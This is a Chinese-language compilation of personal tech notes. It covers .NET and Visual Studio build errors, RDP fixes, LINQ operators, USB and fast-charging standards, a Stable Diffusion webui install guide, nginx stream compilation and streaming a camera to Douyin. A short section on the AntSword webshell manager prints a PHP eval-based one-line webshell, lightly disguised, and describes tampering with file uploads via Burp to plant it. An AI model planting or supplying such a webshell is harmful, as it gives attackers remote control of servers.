未能找到路径“\roslyn\csc.exe”的一部分。
解决方法:
在 nuget 中直接卸载 Microsoft.CodeDom.Providers.DotNetCompilerPlatform
如果 web.config 报错,删除与 Microsoft.CodeDom.Providers.DotNetCompilerPlatform 相关的项,如:
<system.codedom>
<compilers>
<compiler language="c#;cs;csharp" extension=".cs" warningLevel="4" compilerOptions="/langversion:default /nowarn:1659;1699;1701;612;618" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=4.1.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
<compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" warningLevel="4" compilerOptions="/langversion:default /nowarn:41008,40000,40008 /define:_MYTYPE=\"Web\" /optionInfer+" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=4.1.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
</compilers>
</system.codedom>
然后遇到错误:
功能 空传播运算符 在 C# 5 中不可用。请使用 6 或更高的语言版本
所以还是少不了 Microsoft.CodeDom.Providers.DotNetCompilerPlatform
又把这货装上了,竟然不报错了。
这期间我更改过在 Release 模式下调试,将 .NET Framework 4.8 升级到 .NET Framework 4.8.1 等,然后又退回到原来的状态和版本,竟然都正常了。
就这样吧!
使用远程桌面连接时提示你的凭据不工作:
解决方法一:关闭 Windows Defender Credential Guard
打开组策略编辑器(gpedit.msc)
展开:计算机配置 - 管理模板 - 系统 - Device Guard,双击右侧的“打开基于虚拟化的安全”,改为“已禁用”
重启电脑
解决方法二【推荐】:使用其他远程桌面客户端
在 Microsoft Store 中查找“Microsoft 远程桌面”,或者点此安装
这个应用同样来自微软,使用方式与传统的远程桌面连接略有区别,如果你在 iPhone 或安卓上使用过,那么就能快速上手。
若要共享剪贴板,在“编辑电脑”中开启,并且在 设置 - 隐私与安全 - 文件系统 中允许“远程桌面”。
相对于传统的远程桌面连接,对高 DPI 兼容性不完美。
语言集成查询(LINQ)为 C# 和 VB 提供语言级查询功能和高阶函数 API,让你能够编写具有很高表达力度的声明性代码。
LINQ 有两种写法:查询语法和方法语法,查询语法又称查询表达式语法。
查询语法:
from 变量名 in 集合 where 条件 select 结果变量
方法语法:
集合.Where(变量名 => 条件)
LINQ 的标准查询运算符及语法示例
类型 | 操作符 | 功能 | 方法语法 | 查询语法 |
投影操作符 | Select | 用于从集合中选择指定的属性或转换元素 |
|
|
SelectMany | 用于在嵌套集合中选择并平铺元素 |
|
| |
限制操作符 | Where | 根据指定的条件筛选集合中的元素 |
|
|
排序操作符 | OrderBy、OrderByDescending、ThenBy、ThenByDescending | 用于对集合中的元素进行排序 |
|
|
Reverse | 将集合中的元素顺序反转 |
| ||
联接操作符 | Join GroupJoin | 用于在两个集合之间执行内连接(Join)操作,或者对一个集合进行分组连接(GroupJoin)操作 | 内联接
左连接
| 内联接
左连接
|
分组操作符 | GroupBy | 根据指定的键对集合中的元素进行分组 | ||
串联操作符 | Concat | 将两个集合连接成一个新集合 | ||
聚合操作符 | Aggregate、Average、Count、LongCount、Max、Min、Sum | Aggregate 可以用于在集合上执行自定义的累积函数,其他方法用于计算集合中的元素的平均值、总数、最大值、最小值和总和 | ||
集合操作符 | Distinct、Union、Intersect、Except | 用于执行集合间的不同操作,Distinct 移除重复元素,Union 计算两个集合的并集,Intersect 计算两个集合的交集,Except 计算一个集合相对于另一个集合的差集 | ||
生成操作符 | Empty、Range、Repeat | Empty 创建一个空集合,Range 创建一个包含一系列连续数字的集合,Repeat 创建一个重复多次相同元素的集合 | ||
转换操作符 | AsEnumerable、Cast、OfType、ToArray、ToDictionary、ToList、ToLookup | 这些方法用于将集合转换为不同类型的集合或字典 | ||
元素操作符 | DefaultIfEmpty、ElementAt、ElementAtOrDefault、First、Last、FirstOrDefault、LastOrDefault、Single、SingleOrDefault | 这些方法用于获取集合中的元素,处理可能的空集合或超出索引的情况 | ||
相等操作符 | SequenceEqual | 用于比较两个集合是否包含相同的元素,顺序也需要相同 | ||
量词操作符 | All、Any、Contains | 用于检查集合中的元素是否满足特定条件,All 检查是否所有元素都满足条件,Any 检查是否有任何元素满足条件,Contains 检查集合是否包含特定元素 | ||
分割操作符 | Skip、SkipWhile、Take、TakeWhile | 用于从集合中跳过一些元素或只取一部分元素,可以结合特定条件进行操作 |
了解立即执行与延迟执行可以大大改善性能。
有一个项目,在 VS2022 中正常打开,在 VS2019 中无法加载项目,项目目标框架是 .NET Standard 2.0。报错内容:
error: 无法打开项目文件。 .NET SDK 的版本 7.0.306 至少需要 MSBuild 的 17.4.0 版本。当前可用的 MSBuild 版本为 16.11.2.50704。请将在 global.json 中指定的 .NET SDK 更改为需要当前可用的 MSBuild 版本的旧版本。
解决方法:
运行 Visual Studio Installer,选择 Visual Studio 2019 进行修改,切换到“单个组件”,勾选“.NET SDK (out of support)”,会联动勾选“.NET 5.0 Runtime (Out of support)”与“.NET Core 3.1 Runtime (Out of support)”。
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USB 接口类型
USB 接口有 Mini、Micro、Type 三种外观。
通常说的 USB-C 一般指 USB Type-C,因为没有 Mini-C 和 Micro-C。而 USB-A / USB-B 一般也特指 Type-A / Type-B。
数据传输能力
USB 标准(附 Thunderbolt)
规格 | 别名 | 接口类型 | 理论带宽 | 电力规格 | 备注 |
USB 1.0 | Low-Speed | Mini A / B Micro A / B 2.0 Type A / B 2.0 | 1.5 Mbps | 5V/0.5A | |
USB 1.1 | Full-Speed | 12 Mbps | 5V/0.5A | ||
USB 2.0 | Hi-Speed High Speed | Mini A / B Micro A / B 2.0 Type A 2.0 / B 2.0 / C | 480 Mbps | 5V/0.5A | |
USB 3.0 USB 3.1 Gen 1 USB 3.2 Gen 1 | SuperSpeed | Micro B 3.0 Type A 3.x / B 3.x / C | 5 Gbps | 5V/0.9A PD2.0 100W | |
USB 3.1 USB 3.1 Gen 2 USB 3.2 Gen 2 | SuperSpeed+ | Micro B 3.0 Type A 3.x / B 3.x / C | 10 Gbps | 5V/0.9A PD2.0 100W | |
USB 3.2 USB 3.2 Gen 2×2 | SuperSpeed 20Gbps | Type-C | 20 Gbps | PD2.0 100W | |
USB4 Gen 2×2 | USB4 20Gbps | Type-C | 20 Gbps | PD3.0 100W PD3.1 240W | 兼容 Thunderbolt 3 |
USB4 Gen 3×2 | USB4 40Gbps | Type-C | 40 Gbps | ||
USB4 2.0 | USB4 80Gbps | Type-C | 80 Gbps | ||
Thunderbolt 1 | 雷雳1、雷电1 | Mini DisplayPort | 10 Gbps | ||
Thunderbolt 2 | 雷雳2、雷电2 | Mini DisplayPort | 20 Gbps | ||
Thunderbolt 3 | 雷雳3、雷电3 | Type-C | 40 Gbps | 配件供电 15W PD 100W | 兼容 USB4 |
Thunderbolt 4 | 雷雳4、雷电4 | Type-C | 40 Gbps | 配件供电 15W PD 100W | 兼容 Thunderbolt 3 |
Thunderbolt 5 | 雷雳5、雷电5 | Type-C | 80Gpb (带宽增强 120Gpbs) | 240W | USB4 V2、DisplayPort 2.1 和 PCI Express Gen 4 |
Thunderbolt / 雷雳 / 雷电 是同一个意思,而闪电接口指的是 Lightning,都是区别于 USB 的传输技术
Thunderbolt 本身是数据传输和显示协议,Thunderbolt 3 起采用 USB-C 外观,支持 PD 协议后可进行快速充电
识别不同标准的接口,比如若 Type-C 接口旁边写着 ss 和 5 表示 SuperSpeed 和 5Gbps,即 USB 3.0;插口旁边带有⚡️标志表示雷电接口。
电力传输能力
常见快充协议
协议 | 版本 | 发布年份 | 区别 | 接口形态 |
BC (Battery Charging Specification) | 1.2 | 2010 年 | 7.5W(5V/1.5A) | |
高通 QC (Qualcomm Quick Charge) | 1.0 | 2013 年 | 10W(5V/2A) | Micro-USB |
2.0 | 2014 年 | Class A:5V、9V、12V 电压可选,最大输出功率为 18W? Class B:5V、9V、12V、20V 电压可选,最大输出功率为 60W | Micro-USB / Type-A | |
3.0 | 2015 年 | Class A:3.6-12V,Class B:3.6-20V,支持动态调整电压和电流,最大输出功率为 18W? | Micro-USB / Type-A / Type-C | |
4.0 | 2017 年 | 5V/5.6A 或 9V/3A,最大输出功率为 28W?,兼容了 USB PD 2.0 / PD 3.0 PPS? | Type-C | |
4+ | 2019 年 | 最大输出功率为 100W?,支持 PPS 协议?兼容 QC2.0~QC3.0 | Type-C | |
5.0 | 2020 年 | 最大输出功率 > 100W,兼容 QC2.0~QC4+ | Type-C | |
USB-PD (USB Power Delivery) | 1.0 | 2012 年 | 5V、12V、20V 电压可选,最大输出功率为 10W | Micro-USB / Type-A / Type-B |
2.0 | 2014 年 | 5V3A、9V3A、15V3A、20V3A、20V5A(E-Marked),最大输出功率为 100W | Type-C | |
3.0 | 2015 年 | 5V3A、9V3A、15V3A、20V3A、20V5A(E-Marked),最大输出功率为 100W | Type-C | |
3.0 PPS | 2017 年 | 支持 PPS 协议,3.3V-21V 3A-5A | Type-C | |
3.1 | 2021 年 | Type-C |
华为 SuperCharge(FCP / SCP)、小米 Mi Turbo Charge、OPPO VOOC、vivo FlashCharge、三星 AFC 等私有协议不在此列出。
Magsafe 电源适配器 是磁吸式有线充电接口,最大输出功率为 85W(截止2023年),用于 Macbook;
Magsafe 充电器 是磁吸式无线充电接口,最大输出功率为 15W(截止2023年),用于 iPhone,不属于快充。
Qi 是无线充电协议,Qi1 最大输出功率为 7.5W,Qi2 最大输出功率为 15W。
功率决定充电速度,功率与电压电流的关系:P=U*I,如 5V1A=5W
一条 USB 线由插座/母口(Receptacle)、插头/公口(Plug)和线缆(Cable)三部分组成,要实现某个协议,需要插座和插头都支持该协议。
PPS:Programmable Power Supply 可编程电源
SPR:Standard Power Range 标准功率范围
EPR:Extended Power Range 扩展功率范围
FCP:Fast Charge Protocol 华为早期快充协议,支持 18W
SCP:Super Charge Protocol 华为超级快充协议,支持 22.5W、40W
本文将详细介绍 stable diffusion webui 的下载、安装及问题解决。
Stable Diffusion 是 2022 年发布的深度学习文本到图像生成模型。它主要用于根据文本的描述产生详细图像,尽管它也可以应用于其他任务,如内补绘制、外补绘制,以及在提示词(英语)指导下产生图生图的翻译。它是一种潜在扩散模型,由慕尼黑大学的 CompVis 研究团体开发的各种生成性人工神经网络。它是由初创公司 StabilityAI,CompVis 与 Runway 合作开发的,并得到 EleutherAI 和 LAION 的支持。
其它问题请参考:
运行使用时问题《Windows 使用 Stable Diffusion 时遇到的各种问题整理》;
模型运用及参数《Stable Diffusion 个人推荐的各种模型及设置参数、扩展应用等合集》;
提示词生图咒语《Stable Diffusion 提示词词缀使用指南(Prompt)》;
不同类的模型Models说明《解析不同种类的 Stable Diffusion 模型 Models》;
绘制人物动作及手脚细节《Stable Diffusion 准确绘制人物动作及手脚细节(需 ControlNet 扩展)》;
各种风格对比及实际运用《AI绘图风格对照表/画风样稿详细研究记录及经验总结》;
一、环境准备
(一)硬件方面:
1. 显存
4G 起步,4G 显存支持生成 512*512 大小图片,超过这个大小将卡爆失败。
2. 硬盘
10G 起步,模型基本都在 5G 以上,有个 30G 硬盘不为过吧?现在硬盘容量应该不是个问题。
(二)软件方面:
1. Git
https://git-scm.com/download/win
下载最新版即可,对版本没有要求。
2. Python
https://www.python.org/downloads/
截止发稿(2023.3.6)时,最高版本只能用 3.10.*
,用 3.11.*
会出问题。
3. Nvidia CUDA
https://developer.download.nvidia.cn/compute/cuda/11.7.1/local_installers/cuda_11.7.1_516.94_windows.exe
版本 11.7.1,搭配 Nvidia 驱动 516.94,可使用最新版。
4. stable-diffusion-webui
https://github.com/AUTOMATIC1111/stable-diffusion-webui
核心部件当然用最新版本~~但注意上面三个的版本的兼容性。
5. 中文语言包
https://github.com/VinsonLaro/stable-diffusion-webui-chinese
下载 chinese-all-0306.json
和 chinese-english-0306.json
文件
6. 扩展(可选)
https://github.com/Mikubill/sd-webui-controlnet
下载整个 sd-webui-controlnet
压缩包
https://huggingface.co/Hetaneko/Controlnet-models/tree/main/controlnet_safetensors
https://huggingface.co/lllyasviel/ControlNet/tree/main/models
https://huggingface.co/TencentARC/T2I-Adapter/tree/main
试用时先下载第一个链接中的 control_openpose.safetensors
或 第二个链接中的 control_sd15_openpose.pth
文件
7. 模型
https://huggingface.co/models
https://civitai.com
可以网上去找推荐的一些模型,一般后缀名为 ckpt
、pt
、pth
、safetensors
,有时也会附带 VAE(.vae.pt
)或配置文件(.yaml
)。
类型 | 文件格式 | 存放目录 | 备注 |
---|---|---|---|
check point | .ckpt,.safetensors | \models\Stable-diffusion | 文件较大 |
vae | 名字带有 vae 的 | \models\vae | 细节更好地恢复,特别是眼睛和文字 |
Textual Inversion | *.pt | \embeddings | 一般文件很小,额外的 tag |
Lora | *.pt | \models\Lora | 调整模型,理解为风格化也可以 |
Hypernetworks | .pt,.ckpt,*.safetensors | \models\hypernetworks | 和 lora 工作方式相似,算法不同 |
这里可以学习一下模型的基本概念《解析不同种类的 Stable Diffusion 模型 Models,再也不用担心该用什么了》
二、安装流程
1. 安装 Git
就正常安装,无问题。
2. 安装 Python
建议安装在非 program files
、非 C 盘
目录,以防出现目录权限问题。
注意安装时勾选 Add Python to PATH
,这样可以在安装时自动加入 windows 环境变量 PATH 所需的 Python 路径。
3. 安装 Nvidia CUDA
正常安装,无问题。
4. 安装 stable-diffusion-webui
国内需要用到代理和镜像,请按照下面的步骤操作:
a) 编辑根目录下 launch.py
文件
将 https://github.com
替换为 https://ghproxy.com/https://github.com
,即使用 Ghproxy 代理,加速国内 Git。
如图将代码中所有类似地址都改掉(注意:不仅仅是图中所展示的这些)。
b) 执行根目录下 webui.bat
文件
根目录下将生成 tmp
和 venv
目录。
c) 编辑 venv
目录下 pyvenv.cfg
文件
将 include-system-site-packages = false
改为 include-system-site-packages = true
。
d) 配置 python 库管理器 pip
方便起见,在 \venv\Scripts
下打开 cmd
后执行如下命令:
pip config set global.index-url https://mirrors.aliyun.com/pypi/simple/ # 镜像
pip freeze > requirements_versions.txt # 创建文件
pip install -r requirements_versions.txt # 执行此条命令前,请检查你的剩余磁盘空间
pip install xformer # 如果不执行此条命令,启动 Stable Diffusion 时可能会出现错误。xformer 还可以在后续使用中降低显卡占用。
xformer
会安装到 \venv\Lib\site-packages
中,安装失败可以用 pip install -U xformers
命试试。
e) 安装语言包
将文件 chinese-all-0306.json
和 chinese-english-0306.json
放到目录 \localizations
目录中。
运行 webui
后进行配置,操作方法见下。
f) 安装扩展(可选)
将 sd-webui-controlnet
解压缩到 \extensions
目录中。
将 control_sd15_openpose.pth
文件复制到 /extensions/sd-webui-controlnet/models
目录中。
不同的扩展可能还需要安装对应的系统,比如 controlnet
要正常使用则还需要安装 ffmpeg
等。
g) 安装模型
下载的各种模型放在 \models\Stable-diffusion
目录中即可。
h) 再次执行根目录下 webui.bat
文件
用浏览器打开 webui.bat
所提供的网址即可运行。
其中提供了网址:http://127.0.0.1:7860
。
打开该网址后在 Settings
-> User interface
-> Localization (requires restart)
设置语言,在菜单中选择 chinese-all-0220
(前提是已经在目录中放入了对应语言包,见上),点击 Apply Settings
确定,并且点击 Reload UI
重启界面后即可。
好了,现在可以开始使用了~~
三、问题及注意点
1. python 版本错误
错误:
ERROR: Could not find a version that satisfies the requirement torch==1.13.1+cu117
ERROR: No matching distribution found for torch==1.13.1+cu117
这是由于 python 版本不对导致的(上面提过了,截止发稿时不能追求新版本),要用 python 3.10.*
版本。
解决来源:https://github.com/AUTOMATIC1111/stable-diffusion-webui/issues/7166
2. pip版本错误
警告:
[notice] A new release of pip available: 22.3.1 -> 23.0.1
[notice] To update, run: D:\stable-diffusion-webui\venv\Scripts\python.exe -m pip install --upgrade pip
提示中已经给出了解决方案:
在 \venv\Scripts\
目录中打开 cmd
,执行
python.exe -m pip install --upgrade pip
3. 安装或执行停滞
如果在执行 webui.bat
进行包下载安装时或者生成图片时会卡很久都没反应,那么这时可以复制包名,进入 python 安装目录
或 \venv\Scripts\
目录中打开 cmd
,执行
pip install 包名
也可以通过任务管理查看网络状态,如果网络在玩命下载,那么就等着吧~~
4. xFormers 安装不上
很多同学都反应 xformers 无法安装,可以用以下的方法试试:
检查 Dreambooth 要求的 Python 版本:
如果您的 Python 版本低于 3.6,请安装最新的 Python 版本,并重复尝试安装 xformers。
# 据此可以在终端中运行以下命令,以检查您的 Python 版本:
python --version
安装依赖项:xformers 有许多依赖项,如果这些依赖项没有正确安装可能会导致升级失败。您可以尝试安装以下依赖项:
pip install numpy scipy torch torchaudio transformers
清除 pip 缓存并重新安装:
# 清除 xformers 缓存:运行以下命令清除 xformers 缓存。
pip uninstall -y xformers
pip cache purge
# 更新 pip:确保您正在使用最新版本的 pip,可以运行以下命令更新 pip。
pip install --upgrade pip
# 安装 xformers:在清除了缓存并更新了 pip 之后,重新安装 xformers。
pip install xformers
手动安装 xformers 指定版本
如果上述步骤仍然无法解决问题,可尝试手动安装 Dreambooth 所需的 xformers 版本。在 Dreambooth 的文档中,可以找到 xformers 的版本要求。
pip install xformers==0.0.17.dev465
使用 conda 环境
如果您使用的是 conda 环境,请尝试在 conda 环境中安装 xformers。
# 创建 conda 环境
conda create --name myenv
# 激活 conda 环境并安装 xformers
conda activate myenv
pip install xformers
网络问题
如果已经配置好了代理,就不要考虑这个了。
检查网络连接:请确保您的计算机与互联网连接,并且网络连接没有被防火墙或代理服务器阻止:
# 检查网络连接是否正常
ping google.com
非必要
你确定需要使用 xformers 么?如果不需要,可以在webui-user.bat
中把--xformers
去掉试试。其它
如果上述方法还是无法解决问题,请尝试在 OpenAI 的论坛或者 Dreambooth 的 GitHub 页面上寻求更多帮助。-_-!
5. 其他安装问题
删除 /tmp
和 /venv
目录后重启 webui.bat
试试。
6. 硬件问题
一般显卡不达标,就会爆卡,解决办法就是编辑根目录下 webui-user.bat
文件,试一下修改参数 COMMANDLINE_ARGS
即可。
以下几个设置逐一测试看看哪个适合自己。
set COMMANDLINE_ARGS=--lowvram --precision full --no-half --skip-torch-cuda-test
set COMMANDLINE_ARGS=--lowvram --precision full --no-half
set COMMANDLINE_ARGS=--lowvram
本机显存 4G,使用最后一个配置方法,可以烧出 2048*1080 的图,前两种方法反而会在最后爆卡。
最后,预祝各位成功~~
dog drink~~ where is dog?
参考:
【AI 繪畫】Stable-Diffusion 通過骨架分析插件 ControlNet 來製作超有意境的圖片
Stable Diffusion 2.1 + WebUI 的安装与使用(极详细)
低配显卡想玩 Stable Diffusion?修改一个配置就行
整合包
User-Agent 字符串不会进行更新以区分 Windows 11 和 Windows 10。
但我们可以使用 JS 进行客户端判断是否为 Windows 11:
navigator.userAgentData.getHighEntropyValues(["platformVersion"])
.then(ua => {
if (navigator.userAgentData.platform === "Windows") {
const majorPlatformVersion = parseInt(ua.platformVersion.split('.')[0]);
if (majorPlatformVersion >= 13) {
console.log("Windows 11 or later");
}
else if (majorPlatformVersion > 0) {
console.log("Windows 10");
}
else {
console.log("Before Windows 10");
}
}
else {
console.log("Not running on Windows");
}
});
支持客户端提示 User-Agent 浏览器:
浏览器 | 通过客户端提示 User-Agent 区别? |
---|---|
Microsoft Edge 94 及以上 | 是 |
Chrome 95 及以上 | 是 |
Opera | 是 |
Firefox | 否 |
Internet Explorer 11 | 否 |
中国蚁剑
https://github.com/AntSwordProject
https://github.com/AntSwordProject/AntSword-Loader
http://t.zoukankan.com/liang-chen-p-14181806.html
使用说明:
下载 AntSword-Loader 和 antSword 并解压;
打开 AntSword.exe,初始化时选择 antSword 目录;
右键“添加数据”,填 URL,选择连接类型,以 PHP 为例,服务器上放置一个 PHP 文件,格式如:
<?php @ev删除这七个汉字al($_POST['value']); ?>
那么,“连接密码”就填 POST 的参数名 value。
添加完成,双击可打开树状菜单,显示服务器上所有有权限的文件。
Burp:篡改请求(譬如上传图片时将文件名改为.php,并添加shell脚本)
https://portswigger.net/burp
使用方法:https://zhuanlan.zhihu.com/p/537053564
一句话木马:https://www.icode9.com/content-4-1081174.html
普通的 nginx http 反向代理 https 时是需要配置证书的,但我们又不可能由源域名的证书,所以要使用 nginx 的 stream 模块。普通的 nginx 反向代理属于第七层代理,而 stream 模块是第四层代理,通过转发的 tcp/ip 协议实现高功能,所以不需要证书。
我们这里以使用宝塔安装的 nginx 为例,其实其他系统也是类似,只要找到编译的 nginx 的源码目录就行了
编译前先将已经安装的 nginx 文件进行备份
通过 ps 命令查看 nginx 文件的路径。以下所有步骤都以自身 nginx 路径为准
# ps -elf | grep nginx
# cd /www/server/nginx/sbin/
# cp nginx nginx.bak
然后查看当前 nginx 编译的参数
/www/server/nginx/sbin/nginx -V
将 ./configure arguents:之后的内容复制到记事本备用(备注:我们这里其实使用的是 Tengine-2.3.1,所以下面的编译参数可能跟普通 nginx 不是很一样)
内容如下:
--user=www --group=www --prefix=/www/server/nginx --add-module=/www/server/nginx/src/ngx_devel_kit --with-openssl=/www/server/nginx/src/openssl --add-module=/www/server/nginx/src/ngx_cache_purge --add-module=/www/server/nginx/src/nginx-sticky-module --add-module=/www/server/nginx/src/lua_nginx_module --with-http_stub_status_module --with-http_ssl_module --with-http_v2_module --with-http_image_filter_module --with-http_gzip_static_module --with-http_gunzip_module --with-ipv6 --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-ld-opt=-Wl,-E --with-pcre=pcre-8.42 --with-cc-opt=-Wno-error --add-module=/www/server/nginx/src/ngx-pagespeed
进入 src 目录
cd /www/server/nginx/src
我们在上面的内容中加入两个参数
./configure --user=www --group=www --prefix=/www/server/nginx --add-module=/www/server/nginx/src/ngx_devel_kit --with-openssl=/www/server/nginx/src/openssl --add-module=/www/server/nginx/src/ngx_cache_purge --add-module=/www/server/nginx/src/nginx-sticky-module --add-module=/www/server/nginx/src/lua_nginx_module --with-http_stub_status_module --with-http_ssl_module --with-http_v2_module --with-http_image_filter_module --with-http_gzip_static_module --with-http_gunzip_module --with-ipv6 --with-http_sub_module --with-http_flv_module --with-http_addition_module --with-http_realip_module --with-http_mp4_module --with-ld-opt=-Wl,-E --with-pcre=pcre-8.42 --with-cc-opt=-Wno-error --add-module=/www/server/nginx/src/ngx-pagespeed --with-stream --with-stream_ssl_preread_module
并执行它
然后
make && make install
重启 nginx
service nginx restart
nginx -V 看看模块是不是加载了
新建个站点,配置反向代理
卸载
使用 nginx.bak 文件替换掉自编译的 nginx 文件,替换后重启 nginx。
前提:
监控摄像头有推流功能
抖音有直播权限(粉丝数超过 1000)
一个已备案的域名
名词解释:
推流地址:由阿里云生成的接收摄像头视频流推送的地址。
播流地址:由阿里云生成可用于终端播放的视频流地址。
各环节功能解释:
摄像头:负责采集视频信息,并推送到阿里云。
阿里云视频直播服务:接收视频推流并分发到用户端(收费)。
OBS 软件:负责将视频流转化为可供直播伴侣调用的视频源。
直播伴侣:将视频源分发到短视频终端用户。
第一步:配置阿里云视频直播服务
1.1 在阿里云控制台中开通视频直播,在域名管理中添加域名。
这里需要添加两个域名,一个是推流域名,一个是播流域名。顾名思义,“推流”指从摄像头将流推送到阿里云,“播流”是用户播放视频流。
以添加域名推流域名“rtmp.xoyozo.net”和播流域名“live.xoyozo.net”为例:
然后按列表中的 CNAME 地址对域名作解析即可。
解析生效后,点击任意一个域名进行配置,将推流域名和播流域名相互绑定。成功后,可以在推流域名中的播流信息中看到播流域名,在播流域名的推流信息中也能看到推流域名。
1.2 生成推流地址/播流地址
在工具箱中点击地址生成器。
选择推流域名和播流域名,AppName 和 StreamName 任意填写,生成成功后获取以下地址:
注:鉴权串是按照鉴权规则生成的串,默认有效期 30 分钟,超出时间即中断推流。可以在域名管理中修改该值,或直接关闭 URL 鉴权。
第二步:在摄像机控制面板中配置推流域名
该步骤因摄像机的品牌和型号不同而有所差异。本文以 IP CAMERA 为例。
首先使用 IP 搜索工具在局域网上搜索摄像机,找到摄像机的 IP 地址。
在浏览器上打开,输入用户名和密码进入管理面板。
在“参数设置”-“网络设置”- RTMP Publish 中,将推流地址填入到“预定网址”中,点击“应用”。
刷新后查看“直播状态”和“直播网址”是否已生效。
若配置成功,可将播流地址在视频播放器中打开观看,或直接在 iPhone 或安卓手机中打开播流地址。
第三步:使用 OBS Studio 将直播流信号转换为虚拟摄像头信号
因抖音直播伴侣无法使用播流地址作为视频源进行直播输出,故使用 OBS 将播流信号转化为虚拟的本机摄像头信号源供直播伴侣调用。
下载安装 OBS Studio,添加一个“场景”:
然后添加一个“媒体源”:
去掉“本地文件”前面的勾,将播流地址填到“输入”框中:
确定后即可预览到直播内容:
拖动视频区域可调整输出范围。
点击“启动虚拟摄像机”。
提示:OBS 创建的虚拟摄像机默认会从物理麦克风和桌面系统音频拾音,请按需在“混音器”中配置。
第四步:OBS 使用 VLC 视频源(此步可略过)
若 OBS 直接添加媒体源不稳定,可以使用 VLC 视频源。
下载安装 VLC 播放器。
在 OBS Studio 中添加来源,选择“VLC 视频源”:
点击“播放列表”右侧的“+”,选择“添加路径 /URL”:
填写播流地址并确定。
第五步:配置抖音直播伴侣使用 OBS 的虚拟摄像机信号源
下载安装抖音直播伴侣,在任意场景中添加素材,选择“摄像头”:
摄像头选择“OBS Virtual Camera”:
点击“开始直播”: